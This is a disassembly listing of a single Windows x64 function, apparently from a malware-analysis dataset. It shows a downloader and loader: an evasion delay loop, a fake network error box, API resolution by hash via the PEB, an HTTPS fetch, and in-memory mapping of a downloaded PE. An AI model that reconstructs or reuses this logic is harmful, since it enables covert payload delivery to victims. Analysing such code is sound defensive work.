Function at 0x140001210
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
and qword [rsp + 0x50], 0
lea r15, [0x14002e70a]
xor r14d, r14d
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x40], xmm0
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
lea r12d, [r14 + 0x28]
mov dword [rsp + 0x70], r14d
cmp rbx, qword [rsp + 0x50]
je 0x140001278
mov dword [rbx], r14d
add rbx, 4
mov qword [rsp + 0x48], rbx
jmp 0x140001294
lea r8, [rsp + 0x70]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400059e8
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
mov rax, rbx
sub rax, rdi
sar rax, 2
cmp rax, 0x100000
jbe 0x14000134e
mov rdx, qword [rsp + 0x50]
cmp rdi, rbx
mov rax, rbx
mov rcx, rdi
cmovne rbx, rdi
cmove rcx, rax
mov qword [rsp + 0x48], rbx
cmp rcx, rdx
je 0x14000134e
cmp rdi, rcx
jne 0x140001329
test rdi, rdi
je 0x14000134e
sub rdx, rdi
mov rax, rdi
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140001304
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fa9
mov rcx, rdi
call fcn.1400098ac
and qword [rsp + 0x50], 0
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x40], xmm0
vpextrq rbx, xmm0, 1
vmovq rdi, xmm0
jmp 0x14000134e
sub rcx, rdi
lea rdx, [rsp + 0x78]
sar rcx, 2
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x40]
call fcn.1400049b0
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
mov rax, rbx
sub rax, rdi
cmp rax, 0x1000000
jne 0x1400015ba
and qword [rsp + 0x60], 0
mov rcx, r12
and qword [rsp + 0x68], 0
call fcn.1400098b4
and dword [rbp - 8], 0
mov rsi, rax
mov qword [rbp - 0x10], rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x60], rax
cmp byte [rax + 0x19], 0
jne 0x1400013a1
cmp dword [rax + 0x1c], 0
jle 0x1400013f4
movabs rax, 0x666666666666666
cmp qword [rsp + 0x68], rax
je 0x140001fa3
mov rcx, r12
call fcn.1400098b4
vmovups xmm0, xmmword [rbp - 0x10]
mov r8, rax
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x60]
and dword [rax + 0x1c], 0
and dword [rax + 0x20], 0
mov qword [rax], rsi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rsi
and word [rax + 0x18], 0
vmovdqu xmmword [rbp - 0x20], xmm0
call fcn.1400054cc
mov rsi, rax
lea rcx, [rbp + 0x100]
mov dword [rsi + 0x20], r14d
call fcn.140003c9c
lea rcx, [rbp + 0x110]
call fcn.140004628
and qword [rbp - 0x60], 0
mov cl, 1
call fcn.1400089b8
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x40], rax
call fcn.140004ed4
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x58], rax
call fcn.140004520
mov rdx, qword [rbp - 0x60]
mov qword [rbp - 0x50], rax
test rdx, rdx
je 0x14000152a
mov ecx, dword [rdx + 0x28]
lea r9, [rbp - 0x58]
mov eax, dword [rdx + 0x20]
mov r8, r15
mov dword [rsp + 0x38], 0x10
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rdx
lea rdx, str.___n_n
call fcn.140005e54
lea rcx, [rbp + 0x10]
call fcn.14000624c
test al, al
jne 0x1400014de
mov eax, dword [rbp + 0xcc]
lea rdx, [0x14002e705]
btr eax, 0xd
bts eax, 8
mov dword [rbp + 0xcc], eax
jmp 0x1400014b7
mov qword [rbp + 0xb8], rsi
call fcn.14000624c
test al, al
jne 0x1400014de
lea rdx, [rsi + 1]
xor r9d, r9d
lea rcx, [rbp + 0x10]
mov r8, r15
call fcn.140005fd8
lea rcx, [rbp + 0x10]
mov rsi, rax
cmp rax, r15
jne 0x1400014a3
mov qword [rbp + 0xb8], r15
call fcn.14000624c
lea rcx, [rbp + 0x10]
call fcn.140005d2c
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000152a
or eax, 0xffffffff
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x140001520
mov rbx, qword [rbp - 0x60]
test rbx, rbx
je 0x140001520
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov edx, 1
and qword [rax], 0
mov rax, qword [rcx]
call qword [rax]
jmp 0x140001501
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
and qword [rbp - 0x60], 0
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140001551
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140001551
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rcx, [rbp + 0x1b8]
call fcn.140003bc0
lea rax, [0x14002e878]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x1b8], rax
call fcn.140008c84
mov rcx, qword [rsp + 0x60]
mov rsi, qword [rcx + 8]
cmp byte [rsi + 0x19], 0
jne 0x1400015b2
mov r8, qword [rsi + 0x10]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.140005994
mov rcx, rsi
mov rdx, r12
mov rsi, qword [rsi]
call fcn.1400098ac
cmp byte [rsi + 0x19], 0
je 0x140001586
mov rcx, qword [rsp + 0x60]
mov rdx, r12
call fcn.1400098ac
inc r14
cmp r14, 0x400000
jl 0x14000125e
mov r9d, 0x2010
lea r8, str.Error_encountered
lea rdx, str.An_error_was_encountered_performing_the_requested_operation:_n_nIO_Error:_The_Network_Adapter_could_not_establish_the_connection._n_nVendor_Code:_0x80004005_n
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
and dword [rbp - 0x80], 0
mov r8d, 0x1a
mov dword [rbp - 0x7c], 4
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rbx, qword [rcx + 0x18]
mov ecx, 0x9f67bd40
add rbx, 0x20
mov rax, qword [rbx]
mov rdx, qword [rax + 0x50]
call fcn.1400081fc
mov r8d, 0x517002a5
mov edx, eax
mov ecx, 0x8c524c73
mov edi, eax
call fcn.140002198
mov r8d, eax
mov edx, 0xc385b088
mov rcx, rbx
call fcn.1400021d4
mov rsi, rax
test rax, rax
je 0x140001f44
mov r8d, 0x347eec3f
mov edx, edi
mov ecx, 0x95cc10d9
call fcn.140002198
mov r8d, eax
mov edx, 0xced6b421
mov rcx, rbx
call fcn.1400021d4
mov r14, rax
test rax, rax
je 0x140001f44
xor edx, edx
mov rcx, rsi
call fcn.140001000
mov r8d, 0xf72486b
mov edx, edi
mov ecx, 0xf89755c6
mov r12, rax
call fcn.140002198
mov r8d, eax
mov edx, 0xc14da6c3
mov rcx, rbx
call fcn.1400021d4
test rax, rax
je 0x140001f44
xor edx, edx
mov rcx, r14
call fcn.140001000
mov r8d, 0xb1c47ead
mov edx, edi
mov ecx, 0x2d8038f
mov rbx, rax
call fcn.140002198
mov r9d, eax
mov r8d, 0xab2fb60c
mov rdx, rbx
mov rcx, r14
call fcn.140001138
mov r15, rax
test rax, rax
je 0x140001f44
mov r8d, 0xa5874d91
mov edx, edi
mov ecx, 0xd5f6fa0c
call fcn.140002198
mov r9d, eax
mov r8d, 0x3f9b3acf
mov rdx, r12
mov rcx, rsi
call fcn.140001138
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140001f44
mov r8d, 0xedf20cc9
mov edx, edi
mov ecx, 0x13783a8c
call fcn.140002198
mov r9d, eax
mov r8d, 0x73cbd04
mov rdx, r12
mov rcx, rsi
call fcn.140001138
mov qword [rbp - 0x78], rax
test rax, rax
je 0x140001f44
mov r8d, 0x8ac5df7e
mov edx, edi
mov ecx, 0xf86738f2
call fcn.140002198
mov r9d, eax
mov r8d, 0xc805d9c0
mov rdx, r12
mov rcx, rsi
call fcn.140001138
test rax, rax
je 0x140001f44
mov r8d, 0xef157dac
mov edx, edi
mov ecx, 0x6e79404b
call fcn.140002198
mov r9d, eax
mov r8d, 0xe8531176
mov rdx, r12
mov rcx, rsi
call fcn.140001138
test rax, rax
je 0x140001f44
call rax
mov rbx, rax
test rax, rax
je 0x140001f44
mov r14d, 8
mov rcx, rax
mov r8d, r14d
mov edx, r14d
call r15
mov r13, rax
test rax, rax
je 0x140001f44
lea r8d, [r14 + 0xc]
mov edx, r14d
mov rcx, rbx
call r15
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140001f44
lea r8d, [r14 + 0x38]
mov edx, r14d
mov rcx, rbx
call r15
mov r14, rax
test rax, rax
je 0x140001f44
lea rcx, [rax + 0x38]
mov r9d, 0x502654dc
mov r8d, edi
mov edx, 0xd545f7b1
call fcn.140002284
lea rcx, [r14 + 0x18]
mov r9d, 0x6ca0cd72
mov r8d, edi
mov edx, 0x2e4c5d50
call fcn.140002284
lea rcx, [r14 + 0x2c]
mov r9d, 0xfd5d5ca1
mov r8d, edi
mov edx, 0xbed4a8c0
call fcn.140002284
lea rcx, [r14 + 0x34]
mov r9d, 0xabe6d5c3
mov r8d, edi
mov edx, 0x60ab2195
call fcn.140002284
lea rcx, [r14 + 0x20]
mov r9d, 0xb8561f9
mov r8d, edi
mov edx, 0x6194575e
call fcn.140002284
lea rcx, [r14 + 0x30]
mov r9d, 0x391393c3
mov r8d, edi
mov edx, 0x9ea3473b
call fcn.140002284
mov r9d, 0x4e1b01e1
mov r8d, edi
mov edx, 0x940ed2a2
mov rcx, r14
call fcn.140002284
lea rcx, [r14 + 8]
mov r9d, 0x9da31a8e
mov r8d, edi
mov edx, 0x968c074f
call fcn.140002284
lea rcx, [r14 + 0x10]
mov r9d, 0xcb0e87a4
mov r8d, edi
mov edx, 0x72a044c9
call fcn.140002284
lea rcx, [r14 + 0x28]
mov r9d, 0xebd61c71
mov r8d, edi
mov edx, 0x85cc0111
call fcn.140002284
lea rcx, [r14 + 0x3c]
mov r9d, 0xaa51fcc5
mov r8d, edi
mov edx, 0x8cc21679
call fcn.140002284
mov edx, 8
mov rcx, rbx
lea r8d, [rdx - 4]
call r15
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140001f44
mov edx, 8
mov rcx, rbx
lea r8d, [rdx + 4]
call r15
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140001f44
lea rcx, [r14 + 0xc]
mov r9d, 0x8c33f822
mov r8d, edi
mov edx, 0x3147fa9d
call fcn.140002284
lea rcx, [r14 + 4]
mov r9d, 0xff98a7f
mov r8d, edi
mov edx, 0xb19dac4e
call fcn.140002284
lea rcx, [r14 + 0x1c]
mov r9d, 0x2951e50b
mov r8d, edi
mov edx, 0xb45c3cb0
call fcn.140002284
lea rcx, [r14 + 0x14]
mov r9d, 0x1acdc93c
mov r8d, edi
mov edx, 0x3e16c701
call fcn.140002284
mov edx, 8
mov r8d, 0x104
mov rcx, rbx
call r15
mov rbx, rax
test rax, rax
je 0x140001f44
lea rcx, [r14 + 0x24]
mov r9d, 0x38d0d925
mov r8d, edi
mov edx, 0x7a97b238
call fcn.140002284
lea rax, [rbp - 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, 0xffffffff80000001
call qword [rbp - 0x78]
test eax, eax
jne 0x140001f44
mov r8d, 0x10ef4697
mov byte [rbx], al
mov edx, edi
mov ecx, 0x64a3cf45
call fcn.140002198
mov rdx, qword [rbp - 0x70]
mov r9d, 0xb3cefa7a
mov rcx, qword [rbp - 0x30]
mov r8, rbx
mov dword [rsp + 0x20], eax
call fcn.1400020a8
or r8d, 0xffffffff
mov rdx, rbx
mov ecx, 0x594ff201
call fcn.140001fb0
mov r15, qword [rbp - 0x68]
mov r9d, 0xfc9b599c
mov r8d, eax
mov edx, 0x77e1862d
mov ebx, eax
lea rcx, [r15 + 0x10]
call fcn.140002284
mov r9d, 0x6cabde6f
mov r8d, ebx
mov edx, 0x99969df3
mov rcx, r15
call fcn.140002284
mov r8d, 0xe7ece452
mov edx, ebx
mov ecx, 0x669bd0fd
call fcn.140002198
mov r9d, eax
mov r8d, 0x2ba52ac4
mov rdx, r12
mov rcx, rsi
call fcn.140001138
mov qword [rsp + 0x60], rax
mov r14, rax
test rax, rax
je 0x140001f44
mov r9d, 0x306ec43b
mov r8d, ebx
mov edx, 0xccc562d8
mov rcx, r13
call fcn.140002284
mov rdi, qword [rsp + 0x70]
mov r9d, 0x3d999a59
mov r8d, ebx
mov edx, 0x8118a417
lea rcx, [rdi + 8]
call fcn.140002284
lea rcx, [rdi + 4]
mov r9d, 0x120c14f2
mov r8d, ebx
mov edx, 0xe8a03340
call fcn.140002284
lea rcx, [r15 + 0xc]
mov r9d, 0xfc11dbb0
mov r8d, ebx
mov edx, 0xf88fc5d2
call fcn.140002284
mov r9d, 0x7b2b3e8f
mov r8d, ebx
mov edx, 0x395190df
mov rcx, rdi
call fcn.140002284
lea rcx, [r15 + 4]
mov r9d, 0x711a2837
mov r8d, ebx
mov edx, 0x193bca04
call fcn.140002284
lea rcx, [r15 + 8]
mov r9d, 0x6d7add08
mov r8d, ebx
mov edx, 0x10ec4de3
call fcn.140002284
mov r8d, 0x9d8bc7d1
mov edx, ebx
mov ecx, 0xc7c8ffa0
call fcn.140002198
mov r9d, eax
mov r8d, 0xf4a35bb7
mov rdx, r12
mov rcx, rsi
call fcn.140001138
mov qword [rbp - 0x20], rax
test rax, rax
je 0x140001f44
lea rcx, [r13 + 4]
mov r9d, 0x71e561c0
mov r8d, ebx
mov edx, 0x812fbf56
call fcn.140002284
mov r8d, 0xdbdc5ae2
mov edx, ebx
mov ecx, 0x7b2423b2
call fcn.140002198
mov r9d, eax
mov r8d, 0xcd5fc1d4
mov rdx, r12
mov rcx, rsi
call fcn.140001138
mov r12, rax
test rax, rax
je 0x140001f44
mov rcx, r13
call r14
mov rdi, rax
test rax, rax
je 0x140001f44
xor edx, edx
mov rcx, rax
call fcn.140001000
mov r8d, 0x8654fd7d
mov edx, ebx
mov ecx, 0x56cdef74
mov rsi, rax
call fcn.140002198
mov r9d, eax
mov r8d, 0xf0da033f
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140001f44
mov rcx, qword [rsp + 0x78]
mov r9d, 0x96f6a467
mov r8d, ebx
mov edx, 0xd70ae8bf
call fcn.140002284
mov r8d, 0x4c056d3f
mov edx, ebx
mov ecx, 0x3e9ff43f
call fcn.140002198
mov r9d, eax
mov r8d, 0xfd094781
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140001f44
mov r8d, 0xf1370825
mov edx, ebx
mov ecx, 0x96f783bb
call fcn.140002198
mov r9d, eax
mov r8d, 0x28513590
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov qword [rbp - 0x78], rax
test rax, rax
je 0x140001f44
mov r8d, 0xbc4e0e4d
mov edx, ebx
mov ecx, 0x77b80f2f
call fcn.140002198
mov r9d, eax
mov r8d, 0x9e35ffeb
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140001f44
mov r8d, 0x4b518c01
mov edx, ebx
mov ecx, 0x382bd539
call fcn.140002198
mov r9d, eax
mov r8d, 0x52a38431
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov r14, rax
test rax, rax
je 0x140001f44
mov r8d, 0xd47d988b
mov edx, ebx
mov ecx, 0x3883e59c
call fcn.140002198
mov r9d, eax
mov r8d, 0x9043683a
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
mov r13, rax
test rax, rax
je 0x140001f44
mov r8d, 0xa0205936
mov edx, ebx
mov ecx, 0x6aecbd41
call fcn.140002198
mov r9d, eax
mov r8d, 0xcff21e6b
mov rdx, rsi
mov rcx, rdi
call fcn.140001138
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x140001f44
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
xor ecx, ecx
call r13
mov qword [rsp + 0x38], rbx
mov r8d, 0x1bb
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov rdx, r15
mov rcx, rax
mov qword [rsp + 0x20], rbx
mov r13, rax
call qword [rbp - 0x68]
xor r15d, r15d
mov rsi, rax
test rax, rax
je 0x140001f44
mov r8, qword [rsp + 0x70]
xor r9d, r9d
mov rdx, qword [rsp + 0x78]
mov rcx, rax
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [rbp - 0x70]
mov rbx, rax
test rax, rax
je 0x140001f44
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [rbp - 0x78]
test eax, eax
je 0x140001f44
lea rax, [rbp - 0x80]
mov edx, 0x20000005
lea r9, [rbp - 0x7c]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov rcx, rbx
call rdi
test eax, eax
je 0x140001f44
mov edx, dword [rsp + 0x58]
lea r9d, [r15 + 4]
xor ecx, ecx
mov r8d, 0x3000
call r12
mov rdi, rax
test rax, rax
je 0x140001f44
mov r8d, dword [rsp + 0x58]
lea r9, [rbp - 0x38]
mov rdx, rax
mov rcx, rbx
call qword [rbp - 0x28]
test eax, eax
je 0x140001f44
mov rcx, rsi
call r14
mov rcx, rbx
call r14
mov eax, 0x5a4d
cmp ax, word [rdi]
jne 0x140001f44
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
cmp dword [rbx], 0x4550
jne 0x140001f44
mov eax, 0x20b
cmp ax, word [rbx + 0x18]
jne 0x140001f44
mov eax, 0x8664
cmp ax, word [rbx + 4]
jne 0x140001f44
mov edx, dword [rbx + 0x50]
xor ecx, ecx
movzx r15d, word [rbx + 0x14]
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call r12
mov rsi, rax
test rax, rax
je 0x140001f44
mov rcx, r13
call r14
mov ecx, dword [rbx + 0x54]
test rcx, rcx
je 0x140001ef1
mov r9, rdi
lea rdx, [rcx + rsi]
sub r9, rsi
dec rdx
mov al, byte [r9 + rdx]
mov byte [rdx], al
sub rcx, 1
jne 0x140001ee2
lea r8, [rbx + 0x18]
mov r9, rsi
add r8, r15
mov rdx, rbx
mov rcx, rdi
call fcn.1400010c0
mov rdx, qword [rbp - 0x20]
mov r9, rbx
mov rcx, qword [rsp + 0x60]
mov r8, rdi
mov qword [rsp + 0x20], rsi
call fcn.140008154
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.140001050
mov r9d, 0xaf880f6c
mov r8d, 0xc5675e62
mov rdx, rsi
mov rcx, rbx
call fcn.140002010
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001f80
mov rdx, qword [rsp + 0x50]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140001f7b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fa9
call fcn.1400098ac
lea r11, [rsp + 0x320]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002eec
int3
call fcn.140011f44
int3